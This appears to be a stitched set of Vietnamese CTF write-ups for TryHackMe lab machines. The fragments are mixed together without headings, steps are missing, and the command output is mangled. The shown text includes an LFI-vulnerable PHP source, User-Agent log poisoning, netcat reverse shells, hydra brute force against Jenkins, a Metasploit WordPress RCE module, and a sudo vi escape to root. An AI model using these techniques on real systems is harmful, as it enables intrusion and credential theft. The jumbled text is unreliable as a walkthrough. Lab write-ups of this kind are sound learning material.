Với 1 machine có Wordpress, sau khi có RCE tôi thường truy vào xem nội dung wp-config.php vì thường nó sẽ chứa username và password của database.
www-data@ColddBox-Easy:/var/www/html$catwp-config.php<?php/***ThebaseconfigurationsoftheWordPress.**Thisfilehasthefollowingconfigurations:MySQLsettings,TablePrefix,*SecretKeys,andABSPATH.Youcanfindmoreinformationbyvisiting*{@linkhttp://codex.wordpress.org/Editing_wp-config.phpEditingwp-config.php}*Codexpage.YoucangettheMySQLsettingsfromyourwebhost.**Thisfileisusedbythewp-config.phpcreationscriptduringthe*installation.Youdon't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the values.
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'colddbox');
/** MySQL database username */
define('DB_USER', 'c0ldd');
/** MySQL database password */
define('DB_PASSWORD', '**************');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don'tchangethisifindoubt.*/define('DB_COLLATE','');
Thường thì trong các machine trước tôi thấy password database cũng sẽ là password của user đó, nên tôi cũng sẽ thử password này với user c0ldd
Ngay từ đầu khi đọc tiêu đề tôi tưởng đây là web server thì ít nhất sẽ có port 80, nhưng chỉ có port 22 - SSH đang mở mặc dù tôi đã thử quét lại vài lần. Sau vài phút thì tôi thử thêm IP vào file host để xem nó có ra được port 80 hay không. Và đúng là nó ra thật
Khi click vào “A dog” hay “A cat” thì nó sẽ hiện random 1 bức ảnh về chó mèo và url sẽ hiện filter ?view=...
Với filter này cộng thêm tiêu đề của machine này thì tôi nghĩ có thể dùng LFI - PHP filter để khai thác. Tôi sẽ dùng BurpSuite để phân tích request
Điều này có nghĩa là trong request phải có “dog” hoặc “cat”. Từ đây tôi có 1 vài suy đoán, trong web server có 2 thư mục là “dog” và “cat” chứa các bức ảnh, khi chọn dog hoặc cat từ client, server sẽ trỏ vào thư mục và chọn 1 trong các bức ảnh chó(mèo).
Và vì “dog” hay “cat” là thư mục nên tôi sẽ để nó ngay sau base64 encoder.
Giải mã đoạn base64 này và tôi có source của trang index.php
┌──(neo㉿kali)-[~]└─$echo"PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg=="|base64-d<!DOCTYPEHTML><html><head><title>dogcat</title><linkrel="stylesheet"type="text/css"href="/style.css"></head><body><h1>dogcat</h1><i>agalleryofvariousdogsorcats</i><div><h2>Whatwouldyouliketosee?</h2><ahref="/?view=dog"><buttonid="dog">Adog</button></a><ahref="/?view=cat"><buttonid="cat">Acat</button></a><br><?phpfunctioncontainsStr($str,$substr){returnstrpos($str,$substr)!==false;}$ext=isset($_GET["ext"])?$_GET["ext"]:'.php';if(isset($_GET['view'])){if(containsStr($_GET['view'],'dog')||containsStr($_GET['view'],'cat')){echo'Here you go!';include$_GET['view'].$ext;}else{echo'Sorry, only dogs or cats are allowed.';}}?></div></body></html>┌──(neo㉿kali)-[~]└─$
Với trang index.php này, sau khi lấy ảnh từ thư mục, server sẽ thêm biến “ext” vào cuối. Tôi sẽ thử mở những file không phải php và thêm “ext” vào sau như thế này
Trong khi tìm cách tạo RCE từ LFI thì tôi tìm được vài cách khác để khai thác thông tin, đó là khai thác thông tin từ access.log. Thử kiểm tra qua đường dẫn apache hoặc apache2 xem có thu được kết quả nào không.
Điều này có nghĩa là tôi có thể thực thi lệnh nào đó và nó đều sẽ lưu ở đây. Tiếp tục thử tìm kiếm và cuối cùng tôi cũng tìm được cách upload RCE. Bằng cách thay đổi User-Agent bằng một đoạn code PHP, tôi có thể tải lên server tệp RCE của mình.
┌──(neo㉿kali)-[~]└─$nc-lnvp9001listeningon[any]9001...connectto[10.18.3.74]from(UNKNOWN)[10.10.36.162]35894bash:cannotsetterminalprocessgroup(7995):Inappropriateioctlfordevicebash:nojobcontrolinthisshellroot@dogcat:~#
root@dogcat:~# ls
lscontainerflag4.txtroot@dogcat:~#
Xin chào, Lẩu đây. Lần trước tôi có làm CTF có liên quan đến Wordpress. Wordpress là một trong những CMS phổ biến và mạnh mẽ nhất hiện tại. Chính vì mức độ phổ biến và tiện dụng của nó mà rất nhiều người đã tìm cách khai thác nó với các mục đích tốt - xấu khác nhau, đến mức có cả 1 công cụ mạnh mẽ dành riêng để khai thác Wordpress đó là WPScan
Hôm nay, để tiếp nối về wpscan tôi sẽ làm CTF có Wordpress là Tryhackme - Blog
Reconnaissance
Vẫn như thông thường, việc đầu tiên cần làm là quét các cổng đang mở của target machine.
PORTSTATESERVICEREASONVERSION22/tcpopensshsyn-ackOpenSSH7.6p1Ubuntu4ubuntu0.3(UbuntuLinux;protocol2.0)|ssh-hostkey:|204857:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78(RSA)|ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC3hfvTN6e0P9PLtkjW4dy+6vpFSh1PwKRZrML7ArPzhx1yVxBP7kxeIt3lX/qJWpxyhlsQwoLx8KDYdpOZlX5Br1PskO6H66P+AwPMYwooSq24qC/Gxg4NX9MsH/lzoKnrgLDUaAqGS5ugLw6biXITEVbxrjBNdvrT1uFR9sq+Yuc1JbkF8dxMF51tiQF35g0Nqo+UhjmJJg73S/VI9oQtYzd2GnQC8uQxE8Vf4lZpo6ZkvTDQ7om3t/cvsnNCgwX28/TRcJ53unRPmos13iwIcuvtfKlrP5qIY75YvU4U9nmy3+tjqfB1e5CESMxKjKesH0IJTRhEjAyxjQ1HUINP|256c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26(ECDSA)|ecdsa-sha2-nistp256AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJtovk1nbfTPnc/1GUqCcdh8XLsFpDxKYJd96BdYGPjEEdZGPKXv5uHnseNe1SzvLZBoYz7KNpPVQ8uShudDnOI=|2565a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16(ED25519)|_ssh-ed25519AAAAC3NzaC1lZDI1NTE5AAAAICfVpt7khg8YIghnTYjU1VgqdsCRVz7f1Mi4o4Z45df880/tcpopenhttpsyn-ackApachehttpd2.4.29((Ubuntu))|http-methods:|_SupportedMethods:GETHEADPOSTOPTIONS|_http-favicon:UnknownfaviconMD5:D41D8CD98F00B204E9800998ECF8427E|_http-server-header:Apache/2.4.29(Ubuntu)|http-robots.txt:1disallowedentry|_/wp-admin/|_http-generator:WordPress5.0|_http-title:BillyJoel's IT Blog – The IT blog
139/tcpopennetbios-ssnsyn-ackSambasmbd3.X-4.X(workgroup:WORKGROUP)445/tcpopennetbios-ssnsyn-ackSambasmbd4.7.6-Ubuntu(workgroup:WORKGROUP)ServiceInfo:Host:BLOG;OS:Linux;CPE:cpe:/o:linux:linux_kernelHostscriptresults:|smb-os-discovery:|OS:Windows6.1(Samba4.7.6-Ubuntu)|Computername:blog|NetBIOScomputername:BLOG\x00|Domainname: \x00|FQDN:blog|_Systemtime:2022-08-15T08:49:47+00:00|_clock-skew:mean:-13s,deviation:1s,median:-14s|smb-security-mode:|account_used:guest|authentication_level:user|challenge_response:supported|_message_signing:disabled(dangerous,butdefault)|smb2-time:|date:2022-08-15T08:49:47|_start_date:N/A|p2p-conficker:|CheckingforConficker.Corhigher...|Check1(port24258/tcp):CLEAN(Couldn't connect)
| Check 2 (port 26279/tcp): CLEAN (Couldn'tconnect)|Check3(port64265/udp):CLEAN(Failedtoreceivedata)|Check4(port41481/udp):CLEAN(Failedtoreceivedata)|_0/4checksarepositive:HostisCLEANorportsareblocked|smb2-security-mode:|3.1.1:|_Messagesigningenabledbutnotrequired|nbstat:NetBIOSname:BLOG,NetBIOSuser:<unknown>,NetBIOSMAC:<unknown>(unknown)|Names:|BLOG<00>Flags:<unique><active>|BLOG<03>Flags:<unique><active>|BLOG<20>Flags:<unique><active>| \x01\x02__MSBROWSE__\x02<01>Flags:<group><active>|WORKGROUP<00>Flags:<group><active>|WORKGROUP<1d>Flags:<unique><active>|WORKGROUP<1e>Flags:<group><active>|Statistics:|0000000000000000000000000000000000|0000000000000000000000000000000000|_0000000000000000000000000000
Ở đây tôi có 3 port đáng quan tâm:
Port 80 với web được build bằng Wordpress với phiên bản 5.0, trong robots.txt có path /wp-admin/. Để truy cập vào trang này tôi cũng sẽ phải thêm IP vào file host
Port 139 và 445 là smb của window 6.1
Tôi sẽ thử khai thác 2 port window trước xem có gì hữu ích không.
┌──(neo㉿kali)-[~]└─$smbmap-H10.10.112.165[+]GuestsessionIP:10.10.112.165:445Name:blog.thmDiskPermissionsComment----------------------print$NOACCESSPrinterDriversBillySMBREAD,WRITEBilly's local SMB Share
IPC$ NO ACCESS IPC Service (blog server (Samba, Ubuntu))
Tôi thử binwalk với file ảnh còn lại nhưng không kết quả. Tuy nhiên khi thử với steghide và không có passphrase thì tôi được 1 file txt mới.
┌──(neo㉿kali)-[~]└─$steghideextract-sfAlice-White-Rabbit.jpgEnterpassphrase:wroteextracteddatato"rabbit_hole.txt".┌──(neo㉿kali)-[~]└─$catrabbit_hole.txtYou've found yourself in a rabbit hole, friend.
Thật biết cách đùa Chiếc video còn lại cũng không có gợi ý hay một chỉ dẫn nào. Vậy nên tôi sẽ quay lại web với port 80.
Sau khi thêm IP vào host thì tôi có 1 blog về IT sở hữu bởi Billy Joel
Xem qua 1 lúc thì blog chỉ có 2 bài viết và tôi có 2 cái tên là Billy và mẹ của anh ta - Karen Wheeler. Thử dùng WPScan để quét trang này
┌──(neo㉿kali)-[~]└─$wpscan--urlblog.thm-eu_____________________________________________________________________________
\ \ //__ \ /____|
\ \ /\ //||__)|(____________®
\ \/ \//|___/ \___ \ /__|/_`|'_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://blog.thm/ [10.10.112.165]
[+] Started: Mon Aug 15 05:38:05 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://blog.thm/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.thm/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
| Found By: Rss Generator (Passive Detection)
| - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
| - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://blog.thm/wp-content/themes/twentytwenty/
| Last Updated: 2022-05-24T00:00:00.000Z
| Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 2.0
| Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version:1.3'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:06 <===============================================================================================================> (10 / 10) 100.00% Time: 00:00:06
[i] User(s) Identified:
[+] kwheel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] bjoel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] Karen Wheeler
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
[+] Billy Joel
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
Tôi có 2 username là Kwheel và bjoel. Thử brute force với 2 user này.
Trong khi chờ thì tôi thử tìm exploit về Wordpress phiên bản 5.0 xem có tìm được RCE hay không, nhưng các exploit này đều yêu cầu phải có username và password
Khi login vào Wordpress, tôi cũng không có gì để khai thác do đây chỉ là user thường. Tuy nhiên bây giờ đã có user-pass nên tôi sẽ quay lại các exploit đã tìm được bên trên.
Tôi có 1 RCE exploit trong Metasploit
msf6>searchwordpress5.0MatchingModules================# Name Disclosure Date Rank Check Description
----------------------------------------0exploit/multi/http/wp_crop_rce2019-02-19excellentYesWordPressCrop-imageShellUpload1exploit/unix/webapp/wp_property_upload_exec2012-03-26excellentYesWordPressWP-PropertyPHPFileUploadVulnerability2auxiliary/scanner/http/wp_registrationmagic_sqli2022-01-23normalYesWordpressRegistrationMagictask_idsAuthenticatedSQLiInteractwithamodulebynameorindex.Forexampleinfo2,use2oruseauxiliary/scanner/http/wp_registrationmagic_sqlimsf6>
TARGETURI: path dẫn đến wordpress, như trong bài này thì blog nó đã là wordpress luôn rồi. Tuy nhiên trong vài trường hợp thì nó sẽ có path là /wordpress/
LHOST và LPORT: IP máy của tôi và port mà tôi muốn tạo listener.
Khi chạy file này nếu không phải admin thì nó sẽ in ra “Not an Admin”. Tôi có nhìn thấy phía trên có getenv hiểu đơn giản là nó sẽ trỏ đến môi trường có tham số “admin”. Tôi phải tạo một môi trường mới tên “admin” để khi chạy file binary này nó sẽ trỏ đến môi trường “admin”
Lấy file ảnh này về, sau đó sử dụng steghide để xem có file nào ẩn trong ảnh này không. Tôi cũng không chắc lắm vì không có passphrase, nhưng không cần passphrase tôi vẫn có 1 file txt ở đây.
Tôi đã thử dùng john để crack nhưng không thể. Tạm thời để đó đã. Ghé qua web nào. Web là trang login, thử qua và path cũng như user-pass đơn giản đều không có kết quả, tôi sẽ tìm web path với dirsearch
Thử vào /home.php và ở đây tôi có thể sử dụng các command đơn giản để lấy thông tin về server. Lợi dụng nó để lấy nội dung file /etc/passwd để có thể crack lại hash trên bằng john
Đầu tiên tôi tạo file shadow với passwd lấy được khi decode file b64.txt
Sử dụng unshadow và john để xem có crack được passwd của charlie không. Sau tất cả cố gắng thì tôi không thể crack được cái pass này, đành quay về web để khai thác command site.
Sử dụng BurpSuite để lấy request.
Có 1 file tên là key_rev_key, đây là file binary. Sử dụng command strings
Vậy là tôi đã tìm được key. Tiếp theo tôi để ý ở bên trên còn có validate.php.
Tôi tìm được pass của user charlie ở đây. Bây giờ thì thử các payload để lấy RCE. Trước đó tôi kiểm tra xem server có python hay không
Tạo listener: nc -lnvp 2402, sau đó tạo payload với python3 và dán nó phần command
Trong thư mục /home có charlie, trong này tôi có user_flag nhưng không thể mở được, tất nhiên rồi! Ngoài ra còn có 2 file teleport, trong đó file teleport là file rsa private key, thử lấy nó về và login ssh với rsa key này
Thử qua GTFOBins và tôi tìm thấy cách leo thang đặc quyền với vi
charlie@chocolate-factory:/home/charlie$sudovi-c':!/bin/sh'/dev/null# id
uid=0(root)gid=0(root)groups=0(root)# ls /root/
root.py# cat /root/root.py
fromcryptography.fernetimportFernetimportpyfigletkey=input("Enter the key: ")f=Fernet(key)encrypted_mess='gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'dcrypt_mess=f.decrypt(encrypted_mess)mess=dcrypt_mess.decode()display1=pyfiglet.figlet_format("You Are Now The Owner Of ")display2=pyfiglet.figlet_format("Chocolate Factory ")print(display1)print(display2)print(mess)
Khi chạy file này thì phải nhập key. Tôi thử nhập key đã tìm được ở phần đầu và tìm được root flag
Thử check qua trang web, vì nó chỉ là 1 trang mặc định nên sau khi thử qua vài path cơ bản thì tôi sẽ tìm web path luôn.
Vậy là trang này được build bằng Wordpress. Tuy nhiên khi thử vào blog thì nó hơi lạ
Vậy nên tôi đã thêm ip và domain vào file host để nó trở về trang php
Bây giờ thì thử dùng Wpscan xem có tìm được gì đặc biệt ở đây không.
┌──(neo㉿kali)-[~]└─$wpscan--urlhttp://internal.thm/blog/-eu_____________________________________________________________________________
\ \ //__ \ /____|
\ \ /\ //||__)|(____________®
\ \/ \//|___/ \___ \ /__|/_`|'_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://internal.thm/blog/ [10.10.27.84]
[+] Started: Sat Aug 13 05:28:53 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://internal.thm/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://internal.thm/blog/index.php/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
| - http://internal.thm/blog/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
| Last Updated: 2022-05-24T00:00:00.000Z
| Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
| [!] The version is out of date, the latest version is 3.0
| Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version:2.3'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:02 <===============================================================================================================> (10 / 10) 100.00% Time: 00:00:02
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
Tôi thu được vài thông tin: Wordpress 5.4.2, themes đang dùng: twentyseventeen và nó chưa được update lên version mới nhất, cuối cùng là 1 user admin. Tôi sẽ bắt đầu thử từ phương pháp thủ công nhất là brute force.
Vì đây là user web nên tôi sẽ thử vào thư mục web để tìm xem có gì hay ho không, thêm 1 điều nữa là bên chắc chắn bên trong thư mục web sẽ có file config của Wordpress nên biết đâu tôi sẽ tìm được user và password nào đó.
Trong wp-config.php tôi tìm được user và pass để truy cập vào mysql. Tuy nhiên thì cũng không có gì đặc biệt để khai thác. Vậy nên tôi sẽ thử tìm kiếm xung quanh các thư mục trong www-data.
Việc đầu tiên tôi hay làm trong khâu này là sử dụng các phương pháp đươn giản trước như là sudo -l hay tìm các chương trình chạy bằng root, hay cả crontab nhưng đều không có kết quả.
Jenkins đang chạy local với port 8080. Để truy cập được port này, tôi sẽ dùng SSH tunneling để chuyển tiếp port 8080 sang 1 port của máy tôi. Từ đó tôi có thể truy cập vào localhost của target machine
Sau khi thử các user-pass đơn giản đều không có kết quả, tôi vẫn phải dùng đến brute force, và lần này tôi dùng hydra. Nhưng trước đó phải dùng BurpSuite để lấy form đăng nhập.
Bây giờ thì thử brute force với username mặc định của Jenkins là admin
┌──(neo㉿kali)-[~]└─$hydra-ladmin-P/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt127.0.0.1-s2402http-post-form"/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"Hydrav9.3(c)2022byvanHauser/THC&DavidMaciejak-Pleasedonotuseinmilitaryorsecretserviceorganizations,orforillegalpurposes(thisisnon-binding,these***ignorelawsandethicsanyway).Hydra(https://github.com/vanhauser-thc/thc-hydra)startingat2022-08-1406:08:39[WARNING]Restorefile(youhave10secondstoabort...(useoption-Itoskipwaiting))fromaprevioussessionfound,topreventoverwriting,./hydra.restore[DATA]max16tasksper1server,overall16tasks,59185logintries(l:1/p:59185),~3700triespertask[DATA]attackinghttp-post-form://127.0.0.1:2402/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalidusernameorpassword[2402][http-post-form]host:127.0.0.1login:adminpassword:*******1of1targetsuccessfullycompleted,1validpasswordfound
Ô được luôn này . Thử google 1 chút về jenkins và cách upload reverse shell, tôi biết được có thể upload payload bằng code java từ Groovy.
Vào Jenkins > Manage Jenkins > Script Console và nhập đoạn code phía trên vào. À tuy nhiên trước đó thì phải tạo listener với port 12345: nc -lnvp 1235
Thử đổi sang user root. À tôi quên mất đây chỉ là server jenkins nên tôi sẽ quay về target machine với user aubreanna và đổi sang root
aubreanna@internal:~$surootPassword:root@internal:/home/aubreanna# cd
root@internal:~# ls
root.txtsnaproot@internal:~#
Conclusion
Đúng là 1 machine cấp độ khó, đòi hỏi phải dùng kết hợp nhiều kỹ thuật và tôi cũng biết thêm được nhiều kiến thức mới từ bài này.
Với phần leo thang đặc quyền tôi biết thêm về ssh tunnelling: cách điều hướng luồng dữ liệu từ 2 nơi giữa 2 địa chỉ độc lập.
Tiếp nữa là tôi biết thêm về Jenkins - một công cụ mã nguồn mở dùng để tích hợp và tự động hóa code của các thành viên trong dự án và cách khai thác lỗ hổng thông qua Groovy script.